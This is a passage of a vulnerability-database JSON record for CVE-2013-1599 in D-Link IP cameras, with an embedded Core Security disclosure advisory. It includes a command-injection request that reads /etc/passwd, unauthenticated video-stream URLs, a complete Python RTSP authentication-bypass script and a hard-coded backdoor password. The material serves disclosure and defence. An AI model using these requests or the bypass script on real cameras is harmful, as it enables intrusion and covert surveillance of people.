"trust": 1.0,
"vendor": "dlink",
"version": "1.02"
},
{
"model": "dcs-5605",
"scope": "eq",
"trust": 1.0,
"vendor": "dlink",
"version": "1.01"
},
{
"model": "wcs-1100",
"scope": "eq",
"trust": 1.0,
"vendor": "dlink",
"version": "1.00"
},
{
"model": "dcs-1100",
"scope": "eq",
"trust": 1.0,
"vendor": "dlink",
"version": "1.04"
},
{
"model": "dcs-5230l",
"scope": "eq",
"trust": 1.0,
"vendor": "dlink",
"version": "1.02"
},
{
"model": "dcs-1100",
"scope": "eq",
"trust": 1.0,
"vendor": "dlink",
"version": "1.03"
},
{
"model": "dcs-7510",
"scope": "eq",
"trust": 1.0,
"vendor": "dlink",
"version": "1.00"
},
{
"model": "dcs-3410",
"scope": "eq",
"trust": 1.0,
"vendor": "dlink",
"version": "1.02"
},
{
"model": "dcs-2121",
"scope": "eq",
"trust": 1.0,
"vendor": "dlink",
"version": "1.05"
},
{
"model": "dcs-6410",
"scope": "eq",
"trust": 1.0,
"vendor": "dlink",
"version": "1.00"
},
{
"model": "dcs-1100l",
"scope": "eq",
"trust": 1.0,
"vendor": "dlink",
"version": "1.04"
},
{
"model": "dcs-7410",
"scope": "eq",
"trust": 1.0,
"vendor": "dlink",
"version": "1.00"
},
{
"model": "dcs-1130l",
"scope": "eq",
"trust": 1.0,
"vendor": "dlink",
"version": "1.04"
},
{
"model": "dcs-1130",
"scope": "eq",
"trust": 1.0,
"vendor": "dlink",
"version": "1.04"
},
{
"model": "dcs-1130",
"scope": "eq",
"trust": 1.0,
"vendor": "dlink",
"version": "1.03"
},
{
"model": "dcs-1100l",
"scope": null,
"trust": 0.8,
"vendor": "d link",
"version": null
},
{
"model": "dcs-1100",
"scope": null,
"trust": 0.8,
"vendor": "d link",
"version": null
},
{
"model": "dcs-1130l",
"scope": null,
"trust": 0.8,
"vendor": "d link",
"version": null
},
{
"model": "dcs-1130",
"scope": null,
"trust": 0.8,
"vendor": "d link",
"version": null
},
{
"model": "dcs-2102",
"scope": null,
"trust": 0.8,
"vendor": "d link",
"version": null
},
{
"model": "dcs-2121",
"scope": null,
"trust": 0.8,
"vendor": "d link",
"version": null
},
{
"model": "dcs-3411",
"scope": null,
"trust": 0.8,
"vendor": "d link",
"version": null
},
{
"model": "dcs-3430",
"scope": null,
"trust": 0.8,
"vendor": "d link",
"version": null
},
{
"model": "dcs-5605",
"scope": null,
"trust": 0.8,
"vendor": "d link",
"version": null
},
{
"model": "dcs-5635",
"scope": null,
"trust": 0.8,
"vendor": "d link",
"version": null
},
{
"model": "dcs-3411/3430",
"scope": "eq",
"trust": 0.6,
"vendor": "d link",
"version": "-1.02"
},
{
"model": "dcs-5605/5635",
"scope": "eq",
"trust": 0.6,
"vendor": "d link",
"version": "1.01"
},
{
"model": "dcs-1100l/1130l",
"scope": "eq",
"trust": 0.6,
"vendor": "d link",
"version": "1.04"
},
{
"model": "dcs-1100/1130",
"scope": "eq",
"trust": 0.6,
"vendor": "d link",
"version": "1.03"
},
{
"model": "dcs-1100/1130 1.04 us",
"scope": null,
"trust": 0.6,
"vendor": "d link",
"version": null
},
{
"model": "dcs-2102/2121 1.05 ru",
"scope": null,
"trust": 0.6,
"vendor": "d link",
"version": null
},
{
"model": "dcs-3410",
"scope": "eq",
"trust": 0.6,
"vendor": "d link",
"version": "1.02"
},
{
"model": "dcs-5230",
"scope": "eq",
"trust": 0.6,
"vendor": "d link",
"version": "1.02"
},
{
"model": "dcs-5230l",
"scope": "eq",
"trust": 0.6,
"vendor": "d link",
"version": "1.02"
},
{
"model": "dcs-6410",
"scope": "eq",
"trust": 0.6,
"vendor": "d link",
"version": "1.00"
},
{
"model": "dcs-7410",
"scope": "eq",
"trust": 0.6,
"vendor": "d link",
"version": "1.00"
},
{
"model": "dcs-7510",
"scope": "eq",
"trust": 0.6,
"vendor": "d link",
"version": "1.00"
},
{
"model": "wcs-1100",
"scope": "eq",
"trust": 0.6,
"vendor": "d link",
"version": "1.02"
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2013-04632"
},
{
"db": "JVNDB",
"id": "JVNDB-2013-007137"
},
{
"db": "NVD",
"id": "CVE-2013-1599"
}
]
},
"credits": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/credits#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "Francisco Falcon and Nahuel Riva from Core Exploit Writers Team",
"sources": [
{
"db": "BID",
"id": "59564"
},
{
"db": "CNNVD",
"id": "CNNVD-201305-030"
}
],
"trust": 0.9
},
"cve": "CVE-2013-1599",
"cvss": {
"@context": {
"cvssV2": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV2#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/cvssV2"
},
"cvssV3": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV3#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/cvssV3/"
},
"severity": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/cvss/severity#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/severity"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"cvssV2": [
{
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "NONE",
"author": "nvd@nist.gov",
"availabilityImpact": "COMPLETE",
"baseScore": 10.0,
"confidentialityImpact": "COMPLETE",
"exploitabilityScore": 10.0,
"id": "CVE-2013-1599",
"impactScore": 10.0,
"integrityImpact": "COMPLETE",
"severity": "HIGH",
"trust": 1.9,
"vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C",
"version": "2.0"
},
{
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "NONE",
"author": "CNVD",
"availabilityImpact": "PARTIAL",
"baseScore": 7.5,
"confidentialityImpact": "PARTIAL",
"exploitabilityScore": 10.0,
"id": "CNVD-2013-04632",
"impactScore": 6.4,
"integrityImpact": "PARTIAL",
"severity": "HIGH",
"trust": 0.6,
"vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P",
"version": "2.0"
}
],
"cvssV3": [
{
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"author": "nvd@nist.gov",
"availabilityImpact": "HIGH",
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"confidentialityImpact": "HIGH",
"exploitabilityScore": 3.9,
"id": "CVE-2013-1599",
"impactScore": 5.9,
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"trust": 1.0,
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
{
"attackComplexity": "Low",
"attackVector": "Network",
"author": "NVD",
"availabilityImpact": "High",
"baseScore": 9.8,
"baseSeverity": "Critical",
"confidentialityImpact": "High",
"exploitabilityScore": null,
"id": "CVE-2013-1599",
"impactScore": null,
"integrityImpact": "High",
"privilegesRequired": "None",
"scope": "Unchanged",
"trust": 0.8,
"userInteraction": "None",
"vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.0"
}
],
"severity": [
{
"author": "nvd@nist.gov",
"id": "CVE-2013-1599",
"trust": 1.0,
"value": "CRITICAL"
},
{
"author": "NVD",
"id": "CVE-2013-1599",
"trust": 0.8,
"value": "Critical"
},
{
"author": "CNVD",
"id": "CNVD-2013-04632",
"trust": 0.6,
"value": "HIGH"
},
{
"author": "CNNVD",
"id": "CNNVD-201305-030",
"trust": 0.6,
"value": "CRITICAL"
},
{
"author": "VULMON",
"id": "CVE-2013-1599",
"trust": 0.1,
"value": "HIGH"
}
]
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2013-04632"
},
{
"db": "VULMON",
"id": "CVE-2013-1599"
},
{
"db": "JVNDB",
"id": "JVNDB-2013-007137"
},
{
"db": "CNNVD",
"id": "CNNVD-201305-030"
},
{
"db": "NVD",
"id": "CVE-2013-1599"
}
]
},
"description": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/description#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "A Command Injection vulnerability exists in the /var/www/cgi-bin/rtpd.cgi script in D-Link IP Cameras DCS-3411/3430 firmware 1.02, DCS-5605/5635 1.01, DCS-1100L/1130L 1.04, DCS-1100/1130 1.03, DCS-1100/1130 1.04_US, DCS-2102/2121 1.05_RU, DCS-3410 1.02, DCS-5230 1.02, DCS-5230L 1.02, DCS-6410 1.00, DCS-7410 1.00, DCS-7510 1.00, and WCS-1100 1.02, which could let a remote malicious user execute arbitrary commands through the camera\u2019s web interface. plural D-Link IP Camera Products include OS A command injection vulnerability exists.Information is acquired, information is falsified, and denial of service (DoS) May be in a state. There are security vulnerabilities in multiple D-Link webcam products. Multiple D-Link webcam products \u0027/var/www/cgi-bin/rtpd.cgi\u0027 have input validation vulnerabilities that allow remote attackers to exploit vulnerabilities to submit requests similar to the following to execute arbitrary commands in the application context: http:// 192.168.1.100/cgi-bin/rtpd.cgi?uname\u0026-a;cat\u0026/etc/passwd. \nExploiting this issue could allow an attacker to execute arbitrary commands in the context of the affected device. *Advisory Information*\n\nTitle: D-Link IP Cameras Multiple Vulnerabilities\nAdvisory ID: CORE-2013-0303\nAdvisory URL:\nhttp://www.coresecurity.com/advisories/d-link-ip-cameras-multiple-vulnerabilities\nDate published: 2013-04-29\nDate of last update: 2013-03-29\nVendors contacted: D-Link Corporation\nRelease mode: Coordinated release\n\n2. *Vulnerability Information*\n\nClass: OS command injection [CWE-78], Authentication issues [CWE-287],\nInformation leak through GET request [CWE-598], Authentication issues\n[CWE-287], Use of hard-coded credentials [CWE-798]\nImpact: Code execution, Security bypass\nRemotely Exploitable: Yes\nLocally Exploitable: No\nCVE Name: CVE-2013-1599, CVE-2013-1600, CVE-2013-1601, CVE-2013-1602,\nCVE-2013-1603\n\n3. *Vulnerability Description*\n\nMultiple vulnerabilities have been found in D-Link IP cameras [1] that\ncould allow an unauthenticated remote attacker:\n\n 1. [CVE-2013-1600] to access the video stream via HTTP,\n 3. [CVE-2013-1601] to access the ASCII video stream via image luminance,\n 4. [CVE-2013-1602] to access the video stream via RTSP,\n 5. [CVE-2013-1603] to bypass RTSP authentication using hard-coded\ncredentials. \n\n4. *Vulnerable Packages*\n\nThe following is the list of affected devices and the associated\nfirmware (confirmed by D-Link). Other SKUs are probably affected too,\nbut they were not checked. \n\n[CVE-2013-1599]\n . DCS-3411/3430 - firmware v1.02\n . DCS-5605/5635 - v1.01\n . DCS-1100L/1130L - v1.04\n . DCS-1100/1130 - v1.03\n . DCS-1100/1130 - v1.04_US\n . DCS-2102/2121 - v1.05_RU\n . DCS-3410 - v1.02\n . DCS-5230 - v1.02\n . DCS-5230L - v1.02\n . DCS-6410 - v1.00\n . DCS-7410 - v1.00\n . DCS-7510 - v1.00\n . WCS-1100 - v1.02\n\n[CVE-2013-1600]\n . DCS-2102/2121 - v1.05_RU\n . DCS-2102/2121 - v1.06\n . DCS-2102/2121 - v1.06_FR\n . TESCO DCS-2102/2121 - v1.05_TESCO\n\n[CVE-2013-1601] and [CVE-2013-1603]\n . DCS-3411/3430 - v1.02\n . DCS-5605/5635 - v1.01\n . DCS-1100L/1130L - v1.04\n . DCS-1100/1130 - v1.03\n . DCS-1100/1130 - v1.04_US\n . DCS-2102/2121 - v1.05_RU\n . DCS-2102/2121 - v1.06\n . DCS-2102/2121 - v1.06_FR\n . TESCO DCS-2102/2121 - v1.05_TESCO\n . DCS-3410 - v1.02\n . DCS-5230 - v1.02\n . DCS-5230L - v1.02\n . DCS-6410 - v1.00\n . DCS-7410 - v1.00\n . DCS-7510 - v1.00\n . WCS-1100 - v1.02\n\n[CVE-2013-1602]\n . ALL mentioned devices and firmware. \n\n5. *Vendor Information, Solutions and Workarounds*\n\nD-Link announces that all patches are ready and scheduled for posting on\ncorporate web site for all customers [2013-04-25]. Contact D-Link for\nfurther information. \n\n6. *Credits*\n\n[CVE-2013-1599], [CVE-2013-1600] and [CVE-2013-1601] were discovered and\nresearched by Francisco Falcon and Nahuel Riva from Core Exploit Writers\nTeam. \n\n[CVE-2013-1602] was discovered and researched by Martin Rocha from Core\nImpact Pro Team. The PoC was made by Martin Rocha with help of Juan\nCotta from Core QA Team. \n\n[CVE-2013-1603] was discovered and researched by Pablo Santamaria from\nCore Security Consulting Services. \n\nThe publication of this advisory was coordinated by Fernando Miranda\nfrom Core Advisories Team. \n\n7. *Technical Description / Proof of Concept Code*\n\n7.1. The OS command injection is due to\nthis code in \u0027rtpd.cgi\u0027:\n\n/-----\necho \"$QUERY_STRING\" | grep -vq \u0027 \u0027 || die \"query string cannot contain\nspaces.\"\n. $conf \u003e /dev/null 2\u003e /dev/null\neval \"$(echo $QUERY_STRING | sed -e \u0027s/\u0026/ /g\u0027)\"\n\n-----/\n The first line of this snippet basically ensures that there are no\nspaces in \u0027$QUERY_STRING\u0027. The last line uses \u0027sed\u0027 to replace\nampersands \u0027\u0026\u0027 with spaces, and then call to the function \u0027eval()\u0027,\nresulting in a typical command injection. For example, in order to execute:\n\n/-----\nuname -a;cat /etc/passwd\n-----/\n the following request can be sent to the camera web interface:\n\n/-----\nhttp://192.168.1.100/cgi-bin/rtpd.cgi?uname\u0026-a;cat\u0026/etc/passwd\n-----/\n\n\n7.2. *Authentication Bypass*\n\n[CVE-2013-1600] The live video stream can be accessed without\nauthentication by a remote attacker via the following request:\n\n/-----\nhttp://192.168.1.100/upnp/asf-mp4.asf\n-----/\n\n7.3. *ASCII Video Stream Information Leak*\n\n[CVE-2013-1601] An ASCII output (the image luminance) of the live video\nstream can be accessed by a remote unauthenticated attacker via:\n\n/-----\nhttp://192.168.1.100/md/lums.cgi\n-----/\n The following example is the output of a coffee pot video stream [2]:\n\n/-----\nO O O O O O O O O O O O O O O O O O O O O O O O O O o o o o o o o o o o o o\nO O O O O O O O O O O O O O O O O O O O o o o O O O o o o o o o o o o o o o\nO O O O O O O O O O O O O O O O O O . o O O o o o o o o o o o o o\nO O O O O O O O O O O O o o O O o . o o o o o o o o o o o o o o\nO O O O O O O O O O O O o o o o . o o o o o o o\nO O O O O O O O O O o . o O O o . o o o o o o\nO O O O O O O O O . o o o o o o\nO O O O O O O O . o o o o o o o o\nO O O O O O O . o O O o . o o o o o o o o o\nO O O O O O o . O O O O O O . o o o o o o o o o\nO O O O O O . O O O O O O O . o o o o o o o o o\nO O O O O O o O O O O O O O . o . o o o o o o o o\nO O O O O O o O O O O O O O . o o o . o o o o o o o o\nO O O O O O o O O O O O O o . o O O o O O . o o o o o o o\nO O O O O O . o O O O O O O o . O O O o O O . o o o o o o\nO O O O O O . O O O O O o . O O o o O O o . o o o o o o\nO O O O O O o O O O O O o . o O O o o O O o . o o o o o\nO O O O O O O O O O O O . o O O o o O O o . o o o o o\nO O O O O O O . o O O O o . o o o O o o O O o . o o o o\nO O O O O O O o . O O O o . o o o O o o O O o . o o o o\nO O O O O O O O . O O O . o o o O o o O O o . o o o o\nO O O O O O O O O O O . o o o O o o O O o . o o o\nO O O O O O O O o o O o o o o o O o o o O o . o o o\nO O O O O O O O O . O o o o o o O o . o O o . o o\nO O O O O O O O O . O o . o o o o O . o O o . o\nO O O O O O O O O o o . o o o o o . o O o . o\nO O O O O O O O O O . o o o . o . o O o . \no O O O O O O O O O . o o o . o . O o . \no o O O O O O O O O o . o o o . o . O o . \no o o O O O O O O O o . o o o . o . O o . \n\n-----/\n\n7.4. *RTSP Authentication Bypass*\n\n[CVE-2013-1602] This vulnerability is triggered because:\n\n 1. Authentication is only present in DESCRIBE requests but not in\nevery subsequent request. \n 2. When the RTSP session is being established, the authentication\nrequest of current session is ignored (a previously stored response is\nused instead). \nAs a result, the video stream can be accessed by an unauthenticated\nremote attacker. \n\n/-----\nimport sys\nfrom socket import *\nfrom threading import Thread\nimport time, re\n\nLOGGING = 1\n\ndef log(s):\n if LOGGING:\n print \u0027(%s) %s\u0027 % (time.ctime(), s)\n\n\nclass UDPRequestHandler(Thread):\n def __init__(self, data_to_send, recv_addr, dst_addr):\n Thread.__init__(self)\n self.data_to_send = data_to_send\n self.recv_addr = recv_addr\n self.dst_addr = dst_addr\n \n def run(self):\n sender = socket(AF_INET, SOCK_DGRAM)\n sender.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)\n sender.sendto(self.data_to_send, self.dst_addr)\n response = sender.recv(1024)\n sender.sendto(response, self.recv_addr)\n sender.close()\n\n\nclass UDPDispatcher(Thread):\n dispatchers = []\n \n def __has_dispatcher_for(self, port):\n return any([d.src_port == port for d in UDPDispatcher.dispatchers])\n \n def __init__(self, src_port, dst_addr):\n Thread.__init__(self)\n if self.__has_dispatcher_for(src_port):\n raise Exception(\u0027There is already a dispatcher for port %d\u0027\n% src_port)\n self.src_port = src_port\n self.dst_addr = dst_addr\n UDPDispatcher.dispatchers.append(self)\n \n def run(self):\n listener = socket(AF_INET, SOCK_DGRAM)\n listener.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)\n listener.bind((\u0027\u0027, self.src_port))\n while 1:\n try:\n data, recv_addr = listener.recvfrom(1024)\n if not data: break\n UDPRequestHandler(data, recv_addr, self.dst_addr).start()\n except Exception as e:\n print e\n break \n listener.close()\n UDPDispatcher.dispatchers.remove( self )\n\n\nclass PipeThread(Thread):\n pipes = []\n def __init__(self, source, sink, process_data_callback=lambda x: x):\n Thread.__init__(self)\n self.source = source\n self.sink = sink\n self.process_data_callback = process_data_callback\n PipeThread.pipes.append(self)\n\n def run(self):\n while 1:\n try:\n data = self.source.recv(1024)\n data = self.process_data_callback(data)\n if not data: break\n self.sink.send( data )\n except Exception as e:\n log(e)\n break\n PipeThread.pipes.remove(self)\n\n\nclass TCPTunnel(Thread):\n def __init__(self, src_port, dst_addr, process_data_callback=lambda\nx: x):\n Thread.__init__(self)\n log(\u0027[*] Redirecting: localhost:%s -\u003e %s:%s\u0027 % (src_port,\ndst_addr[0], dst_addr[1]))\n self.dst_addr = dst_addr\n self.process_data_callback = process_data_callback\n # Create TCP listener socket\n self.sock = socket(AF_INET, SOCK_STREAM)\n self.sock.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)\n self.sock.bind((\u0027\u0027, src_port))\n self.sock.listen(5)\n \n def run(self):\n while 1:\n # Wait until a new connection arises\n newsock, address = self.sock.accept()\n # Create forwarder socket\n fwd = socket(AF_INET, SOCK_STREAM)\n fwd.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)\n fwd.connect(self.dst_addr)\n # Pipe them!\n PipeThread(newsock, fwd, self.process_data_callback).start()\n PipeThread(fwd, newsock, self.process_data_callback).start()\n\n\nclass Camera():\n def __init__(self, address):\n self.address = address\n def get_describe_data(self):\n return \u0027\u0027\n\n\nclass DLink(Camera):\n # D-Link DCS-2102/1.06-5731\n def __init__(self, address):\n Camera.__init__(self, address)\n def get_describe_data(self):\n return\n\u0027\\x76\\x3d\\x30\\x0d\\x0a\\x6f\\x3d\\x43\\x56\\x2d\\x52\\x54\\x53\\x50\\x48\\x61\\x6e\\x64\\x6c\\x65\\x72\\x20\\x31\\x31\\x32\\x33\\x34\\x31\\x32\\x20\\x30\\x20\\x49\\x4e\\x20\\x49\\x50\\x34\\x20\\x31\\x39\\x32\\x2e\\x31\\x36\\x38\\x2e\\x32\\x2e\\x31\\x31\\x0d\\x0a\\x73\\x3d\\x44\\x43\\x53\\x2d\\x32\\x31\\x30\\x32\\x0d\\x0a\\x63\\x3d\\x49\\x4e\\x20\\x49\\x50\\x34\\x20\\x30\\x2e\\x30\\x2e\\x30\\x2e\\x30\\x0d\\x0a\\x74\\x3d\\x30\\x20\\x30\\x0d\\x0a\\x61\\x3d\\x63\\x68\\x61\\x72\\x73\\x65\\x74\\x3a\\x53\\x68\\x69\\x66\\x74\\x5f\\x4a\\x49\\x53\\x0d\\x0a\\x61\\x3d\\x72\\x61\\x6e\\x67\\x65\\x3a\\x6e\\x70\\x74\\x3d\\x6e\\x6f\\x77\\x2d\\x0d\\x0a\\x61\\x3d\\x63\\x6f\\x6e\\x74\\x72\\x6f\\x6c\\x3a\\x2a\\x0d\\x0a\\x61\\x3d\\x65\\x74\\x61\\x67\\x3a\\x31\\x32\\x33\\x34\\x35\\x36\\x37\\x38\\x39\\x30\\x0d\\x0a\\x6d\\x3d\\x76\\x69\\x64\\x65\\x6f\\x20\\x30\\x20\\x52\\x54\\x50\\x2f\\x41\\x56\\x50\\x20\\x39\\x36\\x0d\\x0a\\x62\\x3d\\x41\\x53\\x3a\\x31\\x38\\x0d\\x0a\\x61\\x3d\\x72\\x74\\x70\\x6d\\x61\\x70\\x3a\\x39\\x36\\x20\\x4d\\x50\\x34\\x56\\x2d\\x45\\x53\\x2f\\x39\\x30\\x30\\x30\\x30\\x0d\\x0a\\x61\\x3d\\x63\\x6f\\x6e\\x74\\x72\\x6f\\x6c\\x3a\\x74\\x72\\x61\\x63\\x6b\\x49\\x44\\x3d\\x31\\x0d\\x0a\\x61\\x3d\\x66\\x6d\\x74\\x70\\x3a\\x39\\x36\\x20\\x70\\x72\\x6f\\x66\\x69\\x6c\\x65\\x2d\\x6c\\x65\\x76\\x65\\x6c\\x2d\\x69\\x64\\x3d\\x31\\x3b\\x63\\x6f\\x6e\\x66\\x69\\x67\\x3d\\x30\\x30\\x30\\x30\\x30\\x31\\x42\\x30\\x30\\x31\\x30\\x30\\x30\\x30\\x30\\x31\\x42\\x35\\x30\\x39\\x30\\x30\\x30\\x30\\x30\\x31\\x30\\x30\\x30\\x30\\x30\\x30\\x30\\x31\\x32\\x30\\x30\\x30\\x43\\x34\\x38\\x38\\x42\\x41\\x39\\x38\\x35\\x31\\x34\\x30\\x34\\x33\\x43\\x31\\x34\\x34\\x33\\x46\\x3b\\x64\\x65\\x63\\x6f\\x64\\x65\\x5f\\x62\\x75\\x66\\x3d\\x37\\x36\\x38\\x30\\x30\\x0d\\x0a\\x61\\x3d\\x73\\x65\\x6e\\x64\\x6f\\x6e\\x6c\\x79\\x0d\\x0a\\x6d\\x3d\\x61\\x75\\x64\\x69\\x6f\\x20\\x30\\x20\\x52\\x54\\x50\\x2f\\x41\\x56\\x50\\x20\\x30\\x0d\\x0a\\x61\\x3d\\x72\\x74\\x70\\x6d\\x61\\x70\\x3a\\x30\\x20\\x50\\x43\\x4d\\x55\\x2f\\x38\\x30\\x30\\x30\\x0d\\x0a\\x61\\x3d\\x63\\x6f\\x6e\\x74\\x72\\x6f\\x6c\\x3a\\x74\\x72\\x61\\x63\\x6b\\x49\\x44\\x3d\\x32\\x0d\\x0a\\x61\\x3d\\x73\\x65\\x6e\\x64\\x6f\\x6e\\x6c\\x79\\x0d\\x0a\u0027\n\n\nclass RTSPAuthByPasser():\n DESCRIBE_REQ_HEADER = \u0027DESCRIBE rtsp://\u0027\n UNAUTHORIZED_RESPONSE = \u0027RTSP/1.0 401 Unauthorized\u0027\n SERVER_PORT_ARGUMENTS = \u0027server_port=\u0027\n DEFAULT_CSEQ = 1\n DEFAULT_SERVER_PORT_RANGE = \u00275556-5559\u0027\n\n def __init__(self, local_port, camera):\n self.last_describe_req = \u0027\u0027\n self.camera = camera\n self.local_port = local_port\n \n def start(self):\n log(\u0027[!] Starting bypasser\u0027)\n TCPTunnel(self.local_port, self.camera.address,\nself.spoof_rtsp_conn).start()\n \n def spoof_rtsp_conn(self, data):\n if RTSPAuthByPasser.DESCRIBE_REQ_HEADER in data:\n self.last_describe_req = data\n elif RTSPAuthByPasser.UNAUTHORIZED_RESPONSE in data and\nself.last_describe_req:\n log(\u0027[!] Unauthorized response received. Spoofing...\u0027)\n spoofed_describe = self.camera.get_describe_data()\n # Look for the request CSeq\n m = re.search(\u0027.*CSeq:\\\\s*(\\\\d+?)\\r\\n.*\u0027,\nself.last_describe_req)\n cseq = m.group(1) if m else RTSPAuthByPasser.DEFAULT_CSEQ\n # Create the response\n data = \u0027RTSP/1.0 200 OK\\r\\n\u0027\n data+= \u0027CSeq: %s\\r\\n\u0027 % cseq\n data+= \u0027Content-Type: application/sdp\\r\\n\u0027\n data+= \u0027Content-Length: %d\\r\\n\u0027 % len(spoofed_describe)\n data+= \u0027\\r\\n\u0027\n # Attach the spoofed describe\n data+= spoofed_describe \n elif RTSPAuthByPasser.SERVER_PORT_ARGUMENTS in data:\n # Look for the server RTP ports\n m = re.search(\u0027.*%s\\\\s*(.+?)[;|\\r].*\u0027 %\nRTSPAuthByPasser.SERVER_PORT_ARGUMENTS, data)\n ports = m.group(1) if m else\nRTSPAuthByPasser.DEFAULT_SERVER_PORT_RANGE\n # For each port in the range create a UDP dispatcher\n begin_port, end_port = map(int, ports.split(\u0027-\u0027))\n for udp_port in xrange(begin_port, end_port + 1):\n try:\n UDPDispatcher(udp_port, (self.camera.address[0],\nudp_port)).start()\n except:\n pass \n return data\n\nif __name__ == \u0027__main__\u0027:\n if len( sys.argv ) \u003e 1:\n listener_port = camera_port = int(sys.argv[1])\n camera_ip = sys.argv[2]\n if len(sys.argv) == 4:\n camera_port = int(sys.argv[3])\n RTSPAuthByPasser(listener_port, DLink((camera_ip,\ncamera_port))).start()\n else:\n print \u0027usage: python %s [local_port] [camera_ip]\n[camera_rtsp_port]\u0027 \n-----/\n\n7.5. *RTSP Hard-Coded Credentials*\n\n[CVE-2013-1603] RTSP service contains hard-coded credentials that\neffectively serve as a backdoor, which allows remote attackers to access\nthe RTSP video stream. \n\n/-----\nusername: (any) \npassword: ?*\n-----/\n\nAs we can see in the following dump, the submitted password is compared\nwith the string \u0027:?*\u0027 (the character \u0027:\u0027 is used for concatenation of\n\u0027username:password\u0027). This code belongs to the binary \u0027rtspd\u0027:\n\n/-----\n.text:00011468 loc_11468 ; Load from Memory\n.text:00011468 LDR R3, [R11,#s2]\n.text:0001146C STR R3, [R11,#var_C0] ; Store to Memory\n.text:00011470 LDR R2, [R11,#var_C0] ; Load from Memory\n.text:00011474 LDR R3, [R11,#var_BC] ; Load from Memory\n.text:00011478 ADD R3, R2, R3 ; Rd = Op1 + Op2\n.text:0001147C SUB R3, R3, #3 ; Rd = Op1 - Op2\n.text:00011480 STR R3, [R11,#var_C0] ; Store to Memory\n.text:00011484 LDR R0, [R11,#var_C0] ; s1\n.text:00011488 LDR R1, =asc_1B060 ; \":?*\" \u003c-------\n.text:0001148C MOV R2, #3 ; n\n.text:00011490 BL strncmp ; Branch with Link\n.text:00011494 MOV R3, R0 ; Rd = Op2\n.text:00011498 CMP R3, #0 ; Set cond. codes on Op1 - Op2\n.text:0001149C BNE loc_114BC ; Branch\n-----/\n\n8. *Report Timeline*\n. 2013-03-19:\nCore Security Technologies notifies the D-Link team of the vulnerability. 2013-03-20:\nD-Link team asks for a technical description of the vulnerability. 2013-03-20:\nCore sends a draft advisory with technical details and set the estimated\npublication date of the advisory for May 14th, 2013. 2013-03-20:\nVendor notifies that D-Link Corporation has an unpublished bounty\nprogram for security advisors. The bounty program requires both Core\nSecurity and D-Link to sign a memo of understanding (MoU). 2013-03-25:\nCore notifies that receiving money from vendors may bias the view of the\nreport and rejects the bounty program. 2013-03-29:\nVendor notifies that they hope to close the fix ASAP. 2013-04-08:\nVendor sends the list of vulnerable devices and the associated firmware\nand notifies that they will release patches and release notes on the\nD-Link support forum first. Then, an official public release will be\nannounced (approx. 1 month from forum post to full release). 2013-04-24:\nCore asks for a clarification regarding the D-Link release date and\nnotifies that releasing fixes to a privileged closed group and/or a\nclosed forum or list is unacceptable. 2013-04-25:\nVendor notifies that the patches are ready and scheduled for posting on\nD-Link web site over the next few days. 2013-04-26:\nCore notifies that the advisory is re-scheduled for Monday 29th. 2013-04-29:\nAdvisory CORE-2013-0303 published. \n\n9. *References*\n\n[1] http://www.dlink.com/us/en/home-solutions/view/network-cameras. \n[2]\nhttp://corelabs.coresecurity.com/themes/sample_theme/images/coffee-pot.png. \n\n10. *About CoreLabs*\n\nCoreLabs, the research center of Core Security Technologies, is charged\nwith anticipating the future needs and requirements for information\nsecurity technologies. We conduct our research in several important\nareas of computer security including system vulnerabilities, cyber\nattack planning and simulation, source code auditing, and cryptography. \nOur results include problem formalization, identification of\nvulnerabilities, novel solutions and prototypes for new technologies. \nCoreLabs regularly publishes security advisories, technical papers,\nproject information and shared software tools for public use at:\nhttp://corelabs.coresecurity.com. \n\n11. *About Core Security Technologies*\n\nCore Security Technologies enables organizations to get ahead of threats\nwith security test and measurement solutions that continuously identify\nand demonstrate real-world exposures to their most critical assets. Our\ncustomers can gain real visibility into their security standing, real\nvalidation of their security controls, and real metrics to more\neffectively secure their organizations. \n\nCore Security\u0027s software solutions build on over a decade of trusted\nresearch and leading-edge threat expertise from the company\u0027s Security\nConsulting Services, CoreLabs and Engineering groups. Core Security\nTechnologies can be reached at +1 (617) 399-6980 or on the Web at:\nhttp://www.coresecurity.com. \n\n12. *Disclaimer*\n\nThe contents of this advisory are copyright (c) 2013 Core Security\nTechnologies and (c) 2013 CoreLabs, and are licensed under a Creative\nCommons Attribution Non-Commercial Share-Alike 3.0 (United States)\nLicense: http://creativecommons.org/licenses/by-nc-sa/3.0/us/\n\n13. *PGP/GPG Keys*\n\nThis advisory has been signed with the GPG key of Core Security\nTechnologies advisories team, which is available for download at\nhttp://www.coresecurity.com/files/attachments/core_security_advisories.asc",
"sources": [
{
"db": "NVD",
"id": "CVE-2013-1599"
},
{
"db": "JVNDB",
"id": "JVNDB-2013-007137"
},
{
"db": "CNVD",
"id": "CNVD-2013-04632"
},
